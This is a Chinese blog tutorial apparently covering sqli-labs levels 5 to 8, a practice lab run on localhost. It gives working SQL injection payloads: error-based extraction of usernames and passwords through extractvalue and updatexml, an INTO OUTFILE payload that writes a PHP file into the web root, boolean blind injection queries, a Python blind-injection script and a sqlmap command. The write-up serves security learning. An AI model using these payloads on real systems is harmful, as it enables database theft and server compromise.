sql注入5-8关实现

sql注入第5关

在这关可能会用到的函数

  1. extractvalue:
    extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
  2. updatexml:
    updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
  3. floor:
    floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

传入值看是否成功
在这里插入图片描述
尝试查询一下数据库的列数

?id=1’ order by 3 --+
?id=1’ order by 4 --+

在这里插入图片描述
在这里插入图片描述
列数是3列
查询字段超过3个后页面会报错
这时可以用
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+
在这里插入图片描述

?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
在这里插入图片描述
接下来就直接利用数据库名+inforamtion_schema数据库来进行后续的注入
解决方案:
可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
payload:
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

sql注入第6关

初始界面
在这里插入图片描述
尝试闭合查看
在这里插入图片描述
这关和第三关很像,参考第五关的payload

sql注入第7关

输入为id=1
在这里插入图片描述
我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1’)) union select 1,“<?phpinfo();?>”,3 into outfile “D:\PHPstudy\phpstudy_pro\WWW\aaa.php” --+
在这里插入图片描述

Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空。
尝试访问一下该文件aaa.php
在这里插入图片描述
php成功执行,本关也就成功的通关

sql注入第8关

在这里插入图片描述
尝试可以使用’))来闭合,但是它却没有报错
在这里插入图片描述
传入的id为1,则会显示:
在这里插入图片描述
无论是联合查询哈市报错注入都无法注入成功的,这里就要使用布尔盲注了
我们可以先使用 length函数 + 二分法来尝试一下
?id=1’ and (select length(database())>1) and 1=1 --+ true
?id=1’ and (select length(database())>10) and 1=1 --+ flase
?id=1’ and (select length(database())>5) and 1=1 --+ true
?id=1’ and (select length(database())>6) and 1=1 --+ true
?id=1’ and (select length(database())>8) and 1=1 --+ flase
在这里插入图片描述
在这里插入图片描述
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称
?id=1’ and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
在这里插入图片描述
在这里插入图片描述
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。但手工方法会非常的费时费力,可以使用python写一个二分法查找的布尔盲注脚本来方便使用:

import requests
 
url = "http://127.0.0.1/sqli-labs/Less-8/"
 
def inject_database(url):
    name = ''
 
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

在这里插入图片描述
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值